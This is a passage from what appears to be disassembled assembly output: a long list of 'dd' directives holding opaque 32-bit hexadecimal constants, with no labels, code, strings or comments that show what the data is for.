6D4C3A3h, 13ADD37h, 0CD577750h, 0D0AC654Ah dd 2F18F1DAh, 0FF3018E4h, 0E2E7022Bh, 9F61987h, 43B88763h dd 6F48C421h, 56360077h, 0C8EF3876h, 85F200CCh, 0FB997322h dd 0FEC0E0D6h, 2B92FFA5h, 84D507C7h, 80A626B6h, 42CF9C01h dd 0A4A9861Fh, 20DD6E0Eh, 5B6BDE02h, 6AD70FC5h, 0ACE0448Eh dd 0DCF88DD0h, 834FCB09h, 1A98021Fh, 0FE5600DEh, 94A0AB36h dd 73079015h, 9DAECEAh, 649CFD1h, 8103C89Ch, 41EBB516h dd 1F8CC4CCh, 1000BEAh, 61FE3070h, 245DD244h, 130C8257h dd 51AB005Fh, 0C700E28h, 17F39C1Eh, 2F1CDA40h, 0AB8B39h dd 8E8C8849h, 68FFDDB4h, 4EE9DB00h, 7058792Dh, 0E9000B9h dd 0D1E24DCFh, 8700C297h, 0ED86D42Ch, 3137C46h, 425198C8h dd 0FDD0A8EFh, 0B8B097A1h, 33B9011Fh, 8682B680h, 0F254A5Dh dd 56168823h, 0BBD9C0BFh, 26D84642h, 0CB2BBF00h, 5F75ECF6h dd 0B990003Fh, 6106C0Dh, 940F044Bh, 20CCED22h, 2F44DCBAh dd 68D50320h, 0AB6764AFh, 6BBE70EFh, 0FC00471Eh, 0F2016372h dd 46B662h, 58FBD0F4h, 881799F9h, 0D4EE8300h, 70B07B3Ah dd 0D3B0F2h, 0A0BA7EF1h, 927DFBFFh, 0F00F3200h, 0CBEE28D0h dd 80170058h, 98E26661h, 1005F83h, 7D301890h, 0EB51934h dd 0EC1B1A2Eh, 7340DEAFh, 0C5C44A57h, 936548h, 40FDBAF5h dd 0C0C762Ch, 0EF7D3489h, 4A58E19h, 0F08BF0h, 0CDEC63C5h dd 830D396Bh, 4F2D6A00h, 9286B457h, 1EEEF1h, 663A9F8Bh dd 4755A5EDh, 930C29D2h, 12E2850h, 8B3E05C6h, 567E5D3h dd 3029F786h, 1B515695h, 300C5484h, 29DE478Bh, 0F912E5F5h dd 0BBA33C83h, 0DD442974h, 9DA74409h, 198056FEh, 1FE50AD0h dd 36286F8Bh, 0A142291Eh, 2CA65F0Ch, 3944A3C8h, 0C5B2445Bh dd 6729D361h, 788C557Ch, 6C293297h, 31222A20h, 91A17429h dd 0D051B89Ch, 7B63B750h, 16D48D29h, 617650h, 514569D5h dd 7C002671h, 0FE9E3187h, 0BCD3278Ah, 62F80007h, 443FFF07h dd 6ACD00Fh, 6D304071h, 7545EE1h, 5FFDE480h, 0EDC3A0BAh dd 840008A6h, 3B63FCFAh, 0DBBF46h, 0DADF4C05h, 79F47E96h dd 0ECD2EE0Eh, 1CA2720h, 0E0187510h, 57690055h, 63F743B8h dd 0BD002703h, 196AD4CBh, 79D7441Bh, 0F8700A3h, 0EE29F4D0h dd 42006D5Dh, 0D1785E9Eh, 6168930Eh, 69FA1016h, 0D03BF57Fh dd 9A00F61Ah, 0C57D8F8Ah, 0E0F881h, 6792552Dh, 0F5EC599Dh dd 0D079311Eh, 0FD3A5E87h, 1B91E160h, 3DCC0022h, 5B816CF8h dd 0C314085h, 76D2602Ch, 0CA684C0h, 810D33E9h, 5B00F534h dd 69EB7307h, 5A266Ah, 6745D7B2h, 0C3998ABEh, 0EC541100h dd 838BDEE2h, 62DF0055h, 68222EAFh, 3C1E24B4h, 740875Eh dd 0A44B9B49h, 2B981FA9h, 1C11C084h, 60C94ACCh, 4FC6180Ah dd 9A00C05Fh, 3BECA5D3h, 0BAF11CF9h, 8BD640ADh, 1F54923Ah dd 2F8CF00Fh, 0F887E0C9h, 0E5158CCh, 0A3FD06DDh, 6DCDFA40h dd 210052B7h, 0AD09DF6Ch, 5DA5E0h, 0B13FCB8Ch, 0C2E32353h dd 0B5866100h, 630B4817h, 43B70172h, 0DADCC0B9h, 0C84FE421h dd 1E8C91Eh, 6D40A29Eh, 9FE5525Eh, 0E34E009Eh, 0EE728D92h dd 133B412Eh, 0B6A85F26h, 2CEB3200h, 0D4552B56h, 5CD28C00h dd 2F53421h, 308300AEh, 0ED191868h, 0C500ADF8h, 0D387A372h dd 0C6B912h, 778F3EFFh, 557060BBh, 8C7BB001h, 5C84B28Bh dd 6838DA80h, 62170658h, 0A900C076h, 5565BB7Eh, 7CFAC9B5h dd 53740081h, 5243FC15h, 5B009160h, 662490D3h, 0B4CBB7h dd 98341AF5h, 0DA55CC6Eh, 0B079EA00h, 0B8C7674Dh, 4C01009Ah dd 0E70629CFh, 0FC0056D6h, 9E89A62Fh, 1528670h, 0CCF4626Bh dd 0E0C4C2C6h, 0AC0073F8h, 0D8C06181h, 3DB2C1h, 30470ABCh dd 0CC8DA840h, 5A93650Fh, 9BD002EBh, 0F137C0C6h, 5E02002Ah dd 0A96A0573h, 0E17D3B23h, 98520903h, 0E045BAF7h, 30969C62h dd 1A04E37h, 1673C22Eh, 0B090EC00h, 34AB31E2h, 2ADC0F4Bh dd 300608Ah, 0EB14ED6Ch, 0FA002674h, 84AA53DFh, 1ED111F3h dd 7615E78h, 0B0587E95h, 0D220C33Eh, 0A00A6700h, 801059D9h dd 81631D1Bh, 0C99AC0B2h, 712507C2h, 0FC746700h, 0C3BD226h dd 1E9CEE0Dh, 8077B2A6h, 832F89C9h, 4200DF4Bh, 13BFAB97h dd 5465807h, 0C18A0C5h, 8FC28033h, 3007FE80h, 2112D996h dd 0AC78FC20h, 3D17AB2h, 0C1B7896Dh, 9980E9E1h, 2601BAF6h dd 0A82BD693h, 1530BD73h, 953700B8h, 0B35447C4h, 8B09034Bh dd 801593BEh, 85BAA0E7h, 2570024h, 731EA667h, 40505EC1h dd 480F9AEDh, 0A0EC0AA1h, 45CA61D8h, 35E8017Fh, 7EC3B8B1h dd 6BCA2089h, 0E140D400h, 6212C815h, 65C9078Ch, 336EA168h dd 3C0A58Ah, 0C2E0C0BAh, 1D44C48h, 7BB1C151h, 27CCF990h dd 0BB260067h, 0C345CBCCh, 0B6005E56h, 0C0E7AE32h, 0F823B995h dd 0E62A004Ch, 0EE927ED4h, 53F8B462h, 36B24E00h, 5AFC95DDh dd 1C7A1D16h, 0A2884055h dd 0D98BACF7h, 0F8EE9400h, 6C664292h, 0A913079Ah, 398D5825h dd 0C49EC783h, 70908899h, 0BC01F6EAh, 0F4DB235Dh, 0B5EC1B69h dd 82D112CCh, 87B9033Ah, 0F0B8FD2Fh, 0E03C16C6h, 420C00D8h dd 1A34025Ah, 7D0900D3h, 0C9597860h, 0B83DB9F0h, 0B3FFCh dd 0E3F6AA81h, 1224A70h, 5EE6D5BEh, 0E84EC81Ch, 0F80FD085h dd 835C92BAh, 0E035491Dh, 380AD9ADh, 3F009FABh, 0C7C5A1D0h dd 0E70FEB48h, 8ED360h, 0AD9C128Ch, 55DB0014h, 0A2A9C7FEh dd 0FA589B7Fh, 8B41412h, 0DC9C16E4h, 2B636D00h, 985A189h dd 825CAEBEh, 0A0C75B07h, 99CFEED9h, 8C93D00h, 0C45241A2h dd 74DB0060h, 871DFA0Dh, 4B011719h, 0F23AAA66h, 75FCA082h dd 6A7595h, 0CF4926F1h, 0F868A816h, 390012FEh, 7C18DC44h dd 7F6AED93h, 4A401EB0h, 0A8F80073h, 899B50A4h, 5D2E307Ah dd 0FA85B072h, 5080DC7Dh, 0F12F3A9h, 0BFEEC2D4h, 50494BE0h dd 73E41F27h, 2F912B00h, 0F338BCACh, 89613D98h, 44141E82h dd 424355A3h, 8E58C1B8h, 86F4E100h, 28D9377Ch, 4127006Ah dd 45C8E3BBh, 9C011830h, 0D32B8D4Fh, 68E8027Bh, 0FA3D60F9h dd 40286C55h, 22242F0Eh, 0C40580D7h, 0C67735h, 0BBF9372Dh dd 0E9737934h, 68A7DE00h, 4E0C47EEh, 0B90300F3h, 0E89AAA5Eh dd 92757579h, 0C55AF800h, 0A2B4BDCCh, 8AAD3A96h, 48F5B680h dd 3A05B89Bh, 5A98330Eh, 1B626049h, 75D9E9DDh, 9F0700DAh dd 0B03C8CAFh, 4400869Eh, 250DC07Eh, 0F0BAE7h, 0BE562AF6h dd 4454D31h, 0D3061700h, 1AAAAFB1h, 0B4E0093h, 1B92613Ch dd 5C002862h, 0B522CED1h, 3A7A69C3h, 361D207Dh, 0B0A688h dd 34E14ECAh, 0CE787C25h, 0B9D43100h, 4C07217Fh, 73D25C74h dd 8208A300h, 4F613D63h, 0FD1AA01h, 97DA1AB8h, 0B9804C21h dd 382CB653h, 0A63F06DFh, 762F3DF4h, 0AB00DC9Ah, 1A23273h dd 16CA933h, 0C5889FEh, 0D4944113h, 8000CFACh, 0E3F22751h dd 481576Fh, 5DDF0115h, 0E1A9801Ch, 0D3002A18h, 85FF6793h dd 3CD91B0Fh, 0BB1CEA1Fh, 803B1FC8h, 0C3F7AA33h, 0AB00B21Eh dd 1B61A118h, 13E2D4B7h, 9A28F6h, 0A5B93EA8h, 0E30EEFD2h dd 1A04168h, 0CC7F36Eh, 7896ACCh, 56093B6Bh, 0F833C0E1h dd 7A00F6DFh, 5D3ECECDh, 147624Ah, 0A8D877E2h, 8F994D1Dh dd 8FF470F9h, 45346958h, 8C8A8018h, 455E11FBh, 77F12000h dd 0F1BE9F5h, 0EFAF0285h, 923162Dh, 75CC4360h, 0BAF98400h dd 0F5C0343h, 93AF0074h, 0B0E8E29Eh, 0D0B0E629h, 0B1EBFD1Ch dd 7BCDBD80h, 38B71550h, 0AF135B5Ah, 0C14A1C55h, 53862B2Eh dd 0BCD0E74Fh, 0D000CFCEh, 0AF52226Ah, 0C0DD0B50h, 891B4FC0h dd 0EB67EDADh, 300D610h, 50F424E3h, 377ACF9h, 3862134Dh dd 0CFA85F0Fh, 57008D54h, 1F783B2h, 981EEB4Ah, 86A705FCh dd 9015D709h, 5CCC55E8h, 4A966403h, 0D0680104h, 3EDF06h dd 2E915486h, 0D99341BBh, 0D4F8FE00h, 0F020A4CDh, 88630036h dd 0E18DADFAh, 2AF2AAE3h, 0C85C050Bh, 9B7887F2h, 1AB4C460h dd 50FA1C07h, 0ECED82E1h, 8068291Fh, 1500F52Dh, 780CA50Fh dd 1049A0Eh, 0F6017292h, 3056BC8Eh, 7D38B949h, 0D77E0130h dd 0EC5EFFE5h, 0C8FA27F1h, 3E61D68Ch, 91000E01h, 0B171DA50h dd 309831C6h, 0F626301h, 0C9BC17D6h, 9E7330h, 50D2F97Bh dd 0E0B3E996h, 4C741202h, 0C0192839h, 0E4A3177Fh, 0C5F20332h dd 1E8FC293h, 0EC1FE590h, 82CBEA38h, 0DBF41A3h, 32D84045h dd 0F0A7982Fh, 3BDB00EBh, 0DD493451h, 770F53A4h, 0E09F64C3h dd 2AB15210h, 32D4E76Eh, 9F60FB70h, 0E7610035h, 0E078687Fh dd 0B1EA499h, 0A14FD515h, 21F0893Ch, 4C6B2A5Ch, 0E615AE4h dd 177156BAh, 0E700FD3Dh, 0EC193655h, 0B6E86C82h, 8B74FD1Eh dd 185AD00h, 2866CAF5h, 0F81150h, 892A2113h, 0C80F87CFh dd 84581548h, 3E00C012h, 6242C3F6h, 28BA0A00h, 14CE17D8h dd 61C60099h, 0FF404E74h, 0B0A3AFD9h, 6F0AD4C0h, 0D55D7D00h dd 2BC8A5AEh, 3098016Eh, 27B9FF1Ch, 0BDEAD715h, 0BF9D34C0h dd 9B728900h, 2586BE6Dh, 703480Dh, 0C066EF01h, 0C92833A4h dd 1E94D8FFh, 0C23A9500h, 8F910A5Fh, 0CFD607DBh, 0E070A40Ch dd 9E2494FAh, 0C398C060h, 486FC54Bh, 0BD003805h, 23316E5Bh dd 0BB00E810h, 0A632797Bh, 81C30Ch, 1815453Bh, 7D8EB983h dd 0DD6B700h, 8AE8F578h, 2DC800DDh, 0B35F75ADh, 0BC00FD73h dd 7B2B7D1Eh, 7302F87Eh, 0AB695817h, 3DBB9400h, 371BC441h dd 1CC13Dh, 86261C8h, 0B8279723h, 0EACC1C44h, 11007EF0h dd 5FF9AA69h, 0E500C314h, 3367C858h, 70F2E3Ah, 1A7A7D2Fh dd 937E9018h, 83B88936h, 0A9A14Ch, 28472E8Dh, 0FF5CAA9h dd 0CE6C49CBh, 0A08068C9h, 0AA953BDEh, 0B01D17E6h, 8EC0C560h dd 0C7EEFF9Ah, 1AB10186h, 41763452h, 0DBF1F08Fh, 7961FA00h dd 0BDCE5EE1h, 8C670056h, 0B1984CB8h, 145CCC0Fh, 1B100264h dd 7261EA01h, 0D42E00B8h, 402337DEh, 56076B44h, 0EEACF068h dd 0A7686C0h, 0E03F00C1h, 93FA4DC4h, 1200C318h, 83F6D736h dd 392AD13Bh, 0FBF57Ah, 8C8F6506h, 9CF7C88Eh, 6DBAEE00h dd 0EF525425h, 474401A4h, 4A194B73h, 0F105E0E8h, 0CBBB0400h dd 2F1D6078h, 24D89177h, 0A1246Fh, 190E855Bh, 340039F5h dd 1D52DD4h, 805FACh, 0EF67B557h, 14C11B9Fh, 51BA2C07h dd 0B6500189h, 0B4DE225Ch, 8EF91E10h, 40FE4BCBh, 0BDB4635Dh dd 0AE16CFD8h, 4B1E4EABh, 266F2440h, 0B5F599h, 5E483B3Dh dd 575FF892h, 80AA0C01h, 0FB17A7ECh, 3ACCC370h, 0CE00A9A2h dd 0D0E85EBEh, 1403F3EBh, 80074B5Ch, 0FAE18048h, 8AB8395Dh dd 0E08823B0h, 6C9276AEh, 0CABE5000h, 3C9BB060h, 0C5AC0F42h dd 31C0D438h, 0C6AFDFF3h, 7733F600h, 0D5EFD671h, 0DC51009Dh dd 664CE37Eh, 0E004993h, 9B600839h, 71F14DB6h, 22F5005Dh dd 50C9E483h, 0B700E9E0h, 0F6CDCE4Fh, 17159587h, 0FA6BA0F9h dd 609F3A0Fh, 0B6AB8FC1h, 74080330h, 0D4A3FC62h, 0B7CC80CCh dd 4F00DA24h, 0F95BDE25h, 87681Ah, 0FA9ACBF3h, 0B76DE11Bh dd 3A8E5803h, 90C96253h, 4DBC4Eh, 0C8BDA4E3h, 1646191Dh dd 0C30DAB00h, 0C2B8D53Ah, 62EFA0C5h, 33DE3A48h, 5E79D300h dd 0BF253C17h, 14D965Ch, 0F96B3186h, 3830BB1Eh, 2D8800AFh dd 0EE32A68Dh, 0DB002108h, 0D1ED2C7h, 0DE9352h, 7DF33494h dd 7FD1453Ah, 18E03C75h, 0C0CBC500h, 5E04CA58h, 63270010h dd 0F1C72E59h, 640032D1h, 3BDF84B3h, 0AA25FCh, 20998AD3h dd 4EB076C1h, 59FE930Fh, 0BD889930h, 0E838CDDDh, 0B988077Ah dd 0C005EED4h, 642EB6DEh, 0CE4B5Ch, 25C41977h, 445928h dd 0C88A5060h, 3D5E751Ch, 6209A000h, 0FE49FA4Ch, 0CECA05F1h dd 830EBE3Fh, 9ED0F596h, 592609A1h, 0AF827C24h, 61468CBFh dd 0D8303805h, 0E0C107EFh, 176D6BCBh, 0CCE54095h, 0C416F878h dd 7800C08Eh, 22A0DC61h, 0E48190FFh, 0BB3A16D3h, 5A7800ABh dd 165B70C0h, 9CAC8900h, 976B91DCh, 63E7023Eh, 8760A9F9h dd 7B58DB60h, 90227F00h, 92334EF4h, 75AA7404h, 0C8DE05C1h dd 80A74B85h, 0A198D99Eh, 0FF476404h, 77806114h, 0EED1962Eh dd 78AC076Dh, 8012B7ABh, 0CA027B55h, 3E3DAA05h, 8CC1B8F0h dd 1DFCBAF8h, 0B58C0062h, 0DFDDD35Eh, 600B9B0Ch, 60584AF1h dd 0F7E8D24h, 4FC309EFh, 53B283C0h, 2500F0BAh, 0A9F7CE99h dd 4E2BC1h, 8B75C47Fh dd 0D4D8675Eh, 1880C700h, 0A6607230h, 6D2E3A1Ah, 3B5BC800h dd 2DDE4AAEh, 0D2073C09h, 0A3A8637Ch, 0A83FD376h, 0FE966E8Ah dd 1FBE000Bh, 8B71BA3Bh, 5E0E2A3h, 7200D89Eh, 4B07884h dd 756A3867h, 0F27CA680h, 548BC548h, 0AD1D800h, 909F1E7Ah dd 1F8989Ch, 0D0B3DF8Eh, 0F0BFEB09h, 32FEBE79h, 0F881F300h dd 97275883h, 3A13007Eh, 698EC3D1h, 16F48CC8h, 0AE5D0C3Ah dd 0A1008964h, 0F747B45Ch, 0BDE60079h, 666F4E8Eh, 0C1035E9Ah dd 0C44926F8h, 0BE4FB002h, 0DECB186Dh, 53D664F0h, 8E7E8BF0h dd 0ED00CF74h, 13B8E9B5h, 4E0E62Dh, 0C25E548Fh, 900FAF46h dd 286FE09Ch, 2BEAC3Dh, 0CD9D4DBDh, 0AA633408h, 9F87400h dd 8448079Bh, 0D79F06C8h, 9C985B02h, 6745AA1Fh, 39B81F7Dh dd 0DC8C7A80h, 0A8ACCCh, 0A19C610Dh, 6030198h, 0A938CE00h dd 8E97DF29h, 0AC56002Ch, 9BA5803Fh, 0E1095144h, 68B2A0h dd 497C4788h, 0CCB46Fh, 69CE4A2Eh, 18965B38h, 0A49A5540h dd 0B0C000E5h, 0DFCAAF2Dh, 4517E074h, 0A049F368h, 0BD4C81A5h dd 80F02A53h, 1A902CA9h, 970500A0h, 8D6BE9D1h, 0C8B8E801h dd 5FDD6551h, 9AAFBF0h, 0F2105817h, 29071C00h, 8D009A26h dd 0BE7D4AE9h, 796D642h, 0A45C057Eh, 1A51D00Dh, 38005532h dd 0FBED16F2h, 1F65EAh, 2320CF27h, 1ED882C1h, 1D919200h dd 7AF8BF08h, 79780012h, 3BEDFAC9h, 49F8A199h, 0F1D88100h dd 2C722BFCh, 248F3E0Bh, 778E5E80h, 9170F669h, 6E633Dh dd 4F211B97h, 0A494D6h, 0CBEC6268h, 2A31F174h, 79C1111Eh dd 0C8EB3EC0h, 769543h, 443C2070h, 0C27A4564h, 622F4F00h dd 0E9ECB024h, 0FC1A0BAEh, 0B0008DF1h, 0BADB0CB3h, 0BF753A00h dd 239E6D40h, 0F8D14CB7h, 36C2A900h, 0E6E31BECh, 3D45F801h dd 2EF2CD3Ah, 58005028h, 0F49783C4h, 59046E52h, 4F8D3DBEh dd 2696B8C0h, 0E7E809h, 55CC4E5Fh, 8C918F74h, 68157F00h dd 207B8A73h, 45390577h, 0C38DCB3Eh, 0D580C048h, 0EA00BAEFh dd 550D4D1Dh, 0A85ABEh, 1B3C63FCh, 4C891E10h, 58D40705h dd 0FAC29AC1h, 0E67C44ADh, 66433DC3h, 9FBC1200h, 336A8364h dd 872F3500h, 0E72238BFh, 0DFA803F3h, 0F1411B2Eh, 0D8EAE6C9h dd 5609E4ACh, 80CFFF8Fh, 0B547F70h, 1AE877h, 909E0833h dd 72DEF11h, 12001B73h, 0A6ABB096h, 0E1F885Ch, 0D2D1D9C5h dd 969A4A0h, 6630606Ch, 4D5869FBh, 0FE28ECBAh, 3656082Ah dd 0DE04B3A5h, 0A4C061C1h, 83EC30h, 5E592E45h, 0A84F7DBCh dd 8099313Eh, 2C645D3Dh, 3448E0Ah, 0BACDB0Eh, 80B423CCh dd 0BF497165h, 8B068900h, 430DC4D5h, 73240032h, 0B3A36258h dd 82009012h, 0E7C2E6D7h, 0AC52CAh, 53C3C460h, 34AE486Eh dd 150960Bh, 57AB00BBh, 7EB3D8D4h, 6BC73BECh, 0DC299B80h dd 8130B154h, 338E9D04h, 18C03732h, 0E42F0A1h, 60D1214Fh dd 41BD43A0h, 8A023593h, 2B398D90h, 0B68A5DF8h, 8866030Dh dd 4098FC0Ah, 0B800EF60h, 0F6BFFD6Bh, 61596Dh, 6284EC0Eh dd 12D96F74h, 3B00189Bh, 1993D5B7h, 0D4435C39h, 3C48C604h dd 0A174E0FBh, 9F7AD200h, 0C6920C2h, 7CFFF22Bh, 2A501E3Fh dd 0CCF0840Bh, 0DF00C2C3h, 5580B451h, 0E8B44326h, 65C70013h dd 0E2E3D433h, 0AC3F9816h, 2DB20946h, 64F48025h, 153241h dd 1984FCB9h, 217AE24Eh, 2E5EC500h, 0B8A7CAD9h, 7E1602BBh dd 0F4E15890h, 0A3DA24C8h, 0ACB420EDh, 8000134Fh, 205292Ah dd 901E00C6h, 5FB50831h, 444D5EEAh, 5BC0098Ch, 8F288275h dd 4B486067h, 4FA60F6Ch, 0A52060CEh, 0E736D7CDh, 44DF1D00h dd 0DEAD0DEBh, 149282h, 62267F3h, 47C92954h, 53D738h, 2B72BD5Fh dd 1451E17h, 9C0A27B0h, 0D0B48AB9h, 0A6009F96h, 0BD02F31Bh dd 1738172Fh, 0DF6BA1h, 58753C56h, 7C009EB9h, 4065484Ah dd 7B02BF5h, 0E23DC17Bh, 2F199C1Ch, 62287707h, 85E419C0h dd 0BA70F9C0h, 2B402D2h, 0F2ADF98Fh, 0BF213040h, 0E10023E8h dd 0DF083B44h, 0F88A80A4h, 72110F94h, 14A08C4Fh, 9866CF45h dd 0BAB62A12h, 600702BAh, 0EC809AECh, 47A5B759h, 18D9A800h dd 154520DDh, 87B21F38h, 579DC05Ch, 0D4E67C85h, 1900EBECh dd 5FF40960h, 489E2D61h, 0D9004CAEh, 0C15039E9h, 0ED7EB82Ah dd 0A527743Ch, 50108D73h, 0FCCADFF0h, 7978CCh, 0F52CA0D7h dd 3F5C9318h, 18236C24h, 8D4BE981h, 0FE30EEA2h, 197D607Bh dd 0CB2A4442h, 0DF008BF0h, 6451EE11h, 1CAFEA5h, 0EC5EC499h dd 2B8255F5h, 9AD76840h, 70436Ah, 937AA053h, 30B7668Ch dd 2011E00Fh, 1D14A04Ah, 0F6F2247h, 2337C886h, 0BB440193h dd 0CC5ED081h, 123EFE1Eh, 89DD80BAh, 28403739h, 0F8820014h dd 0AEDE07E0h, 6A0068F2h, 51BC7141h, 2512F35Dh, 20E0FC53h dd 0CB3EDB63h, 0EC007DC0h, 74E7FE2Fh, 0D43483h, 603EADA9h dd 0F575954Dh, 0CBD57603h, 0B8F86E1Eh, 2B6160Eh, 0DCDDC6E7h dd 68E06917h, 0B1008C83h, 0BBF54A78h, 0ABA9CBh, 0A1CC23C8h dd 66682B38h, 1B5E4900h, 0C3C5DF57h, 61D30F90h, 3729656Ah dd 200C47Eh, 0AF3A119Ah, 1ED6F087h, 0C16689A6h, 7CCB08B1h dd 0D0C0D8F9h, 4FC43501h, 1DA0823Ch, 0F0E0AB70h, 509EADBh dd 0BBFFB62Ch, 0F216C014h, 3A048DA0h, 722EE31Ah, 0FC25D880h dd 0B97100B8h, 6663290Ch, 5000499Ch, 0CEACEA42h, 0E4895E13h dd 760D004Fh, 0E726FBFEh, 38F27556h, 2C82D309h, 7570D07Ch dd 0F2D20051h, 0E74D6D6Bh, 0AD1E2155h, 68E686A3h, 6F5B7103h dd 0AACAD098h, 0E9E400CBh, 0F16C6944h, 750013E1h, 76181223h dd 0EC869BF5h, 806F000Bh, 9EF34448h, 257B920Ch, 8791B02Ch dd 58948038h, 391B8AB7h, 0AFFC6Fh, 90639ADBh, 0B67F5399h dd 0CC664000h, 60306B1Bh, 6A150074h, 33DCEB1Ah, 32008A26h dd 7051D7B5h, 3A50F3h, 0A2FAB6AEh, 5B304DD4h, 17C2E3Ch dd 4EB3C2A3h, 55D85092h, 73F4F3h, 8EB133B2h, 0B4549A03h dd 20F9471Eh, 341C2C00h, 5ACE6FE8h, 7C7FC90h, 0D7D30C3Ah dd 0D2C700DFh, 2C3CF545h, 5108A09h, 80B2AD31h, 63364634h dd 0A647C500h, 95B755C8h, 0C4AB0115h, 7C7906A0h, 3350D89Eh dd 0C3E4FC00h, 0E660D87Eh, 888C5D98h, 0B03B738h, 7685CF5Dh dd 6A0EE807h, 0A3F0A852h, 1CA0C2C5h, 4077F558h, 1D5D0D03h dd 0E6006726h, 3E5042C0h, 49B0B4h, 8B5E5682h, 0FB7E9B43h dd 81F2087Bh, 46B7C309h, 246CD9A7h, 921C00B0h, 1B74C79Bh dd 0A9E95C1Fh, 8400A174h, 0B3933CCh, 0A1030082h, 0C9F4665Fh dd 0A53978A2h, 65B88080h, 11B9A68Ah, 0DD36002Ch, 83BA60EBh dd 8F00E4D6h, 89304723h, 5B7EDCh, 0DD3B3862h, 0BAE79407h dd 0EFB54200h, 2164758Ch, 0EDF895h, 7D2019D7h, 0DAB17ED8h dd 23D7B01h, 54B35867h, 7A5609F4h, 0F6E03Bh, 9D664B4Fh dd 49DB5B46h, 7747F900h, 91B38169h, 0A550144h, 532C6E8Ah dd 0FE9EC993h, 0E440DAC0h, 4CF17400h, 91436B18h, 0EA920014h dd 15F026E2h, 72028DFFh, 6ED0295Eh, 8CF193h, 97A4013Fh dd 3B09DC3Eh, 85FAEEE3h, 43800F90h, 1E0AFF24h, 0CF9D073Fh dd 0DA608F18h, 163252B6h, 67D8B300h, 82260E4Eh, 6241006Ch dd 0A31C15F8h, 0F0001D09h, 0FE5F99DAh, 172683h, 0F940BF6Dh dd 0D5DB711Eh, 0C100A07Eh, 4C28D9BCh, 0F4B646D0h, 45A403D1h dd 0A692F5AEh, 7EA33998h, 0A140097h, 98479A9Eh, 0B0561443h dd 77FC48Bh dd 41077BC3h, 7D371086h, 0F1009198h, 6E4BA249h, 0EE3DAA6h dd 0F57C0612h, 0F80239C0h, 0E8008BAFh, 599F4562h, 0DC3BAAh dd 0F990E0BDh, 6ECDF54Ch, 0F4CCD513h, 0C639AF00h, 432EC2h dd 9810EA77h, 122C0661h, 0BCEB6C00h, 26289554h, 0B70F1D74h dd 99E680B5h, 49CCB96Fh, 6183EF0Eh, 27094017h, 215754h dd 1E403074h, 0B78B1A86h, 2C901100h, 6271A081h, 63AA0057h dd 34E265D7h, 70007559h, 5117A3Bh, 0F5406655h, 0F545CF4h dd 6B854C5Ah, 8D4D2340h, 9705BFA1h, 1DF77063h, 89C3F1C0h dd 0FEBA3E20h, 0C03A949Dh, 57B0E86Ah, 0CC006E1Ch, 5852BD0Eh dd 55B2A8h, 22ABBCE0h, 0E7328D95h, 8F004573h, 4204CD86h dd 91792Fh, 0BBA85330h, 7C967AF0h, 8FF90338h, 6464C109h dd 2F80CC8Bh, 1EBE3CC5h, 0D25B8167h, 8F64B074h, 0FAE9E300h dd 0EE265651h, 2C3E00A9h, 9FFFB0E4h, 0C7FEE1E8h, 0CE365401h dd 33F04099h, 0C6D9AD8h, 0ED1CD55Fh, 0DEF257E4h, 2BAF0400h dd 0EEFFF54Eh, 0E2C93E9Fh, 364AFD03h, 0F1D04BC8h, 0AE00C3B2h dd 8D0B3E6Fh, 1632C797h, 507BE2h, 0DAFDE58Ch, 6B003FFFh dd 8257BAA6h, 53D66h, 5DDE8CE9h, 9DB267F8h, 0A1A4E600h dd 914F77FBh, 4E1C1C1Ah, 31B4003Ch, 51F3C337h, 86683Eh dd 0CA7D07C7h, 1613D9h, 3DAC0FDBh, 0C64BB1A1h, 41AEBF00h dd 0E006F3E9h, 0CE8000F1h, 89BE9C9Ah, 0D901FAE1h, 0F5D543F0h dd 49F8C132h, 1D4E0EA8h, 7EE512EEh, 0AC855Eh, 339BE27Ah dd 0F70003F2h, 784BFA4h, 1E3AAB82h, 404E8634h, 70E7CA1Dh dd 0EA00CF4Ch, 232C554h, 3E42D75Dh, 0D638AEC1h, 102EDC00h dd 0FD792319h, 29C0900h, 14893E44h, 0EE840255h, 5AB5E130h dd 910BA074h, 15005F27h, 25071EC1h, 29D1B600h, 18B738B1h dd 46E01FEFh, 1F300E09h, 0EB1C50C1h, 0EB886BBh, 14920CCh dd 24E51B3Dh, 70C2150Ch, 460F2785h, 0FC424929h, 3F99B780h dd 6BF1F8h, 220EEFE1h, 0B41A907h, 0CB148DECh, 11C5A5Eh dd 0A3AB4ED9h, 3FAED8h, 1BA56590h, 0C171A9F4h, 84E67F17h dd 913700FEh, 0B18FF71Eh, 0B0D97901h, 0A9117C33h, 8D633881h dd 0F4B39490h, 0CD00AE5Ch, 8A2DF4C8h, 39F5E785h, 888354EBh dd 0EA85D59h, 972968A0h, 4DB01E79h, 0F26F3F0Eh, 667EA379h dd 671FF956h, 3C3020h, 4CF3F85Fh, 330E5414h, 687FC800h dd 0C78E3DB2h, 0F47D00F7h, 5F39FA0Fh, 0D500B572h, 23903713h dd 58682FAEh, 1C24B28Eh, 0D0FD00D5h, 4F421B3Eh, 79E7D200h dd 0A7179495h, 92C40BCAh, 7860F6C7h, 6E004E8Eh, 75412579h dd 68B447h, 621F390Ch, 50ABBAF6h, 538E08C3h, 7A9498C0h dd 0F1A21816h, 40861904h, 0EC25960Bh, 1FC901D0h, 0E840A5A9h dd 33F06EFh, 7EEEDCADh, 0A0C1F67Dh, 883920AFh, 162FC800h dd 0F440AA9Ch, 10290017h, 0AA5E07Dh, 8B0051ADh, 8EC727BAh dd 74D261C2h, 0AC8C6055h, 72EDDCE1h, 2632A300h, 4C46BC29h dd 28FE3AA5h, 0B1574A87h, 730FE0B3h, 3113ED1Fh, 0FF0CF783h dd 75418B0h, 0A352BE60h, 38036091h, 0D01D8045h, 0F4280869h dd 274AB10Eh, 4D200034h, 72BC944h, 18AF8A45h, 81651069h dd 0AE00B949h, 7B8F36B2h, 3EF6150Eh, 19007C1Bh, 44074E9Bh dd 0F00694Fh, 47DBD656h, 36C79Fh, 0C99CBCB0h, 210654DEh dd 0A2444E00h, 1AE878A0h, 0EE610039h, 0A3CA0C84h, 490066C8h dd 0C55B8FFDh, 0E8A50EB7h, 0F3692659h, 7A3500B8h, 209B1566h dd 810D48C0h, 0C0543Ch, 11F42E41h, 0AE35B6F0h, 88007BEEh dd 17CEE620h, 0BA9031h, 1A1883A7h, 619DF61Bh, 3600D5E0h dd 67B88B30h, 4D0E29h, 0BD134FE9h, 0D516DCF1h, 773FB18h dd 606D7729h, 10C97825h, 61030B78h, 0CE3D5D0Fh, 0B609E836h dd 3C4F698h, 0F3AF73EEh, 69B8D434h, 28393193h, 0E81980C0h dd 99CF7149h, 0A601DCAh, 332A80F8h, 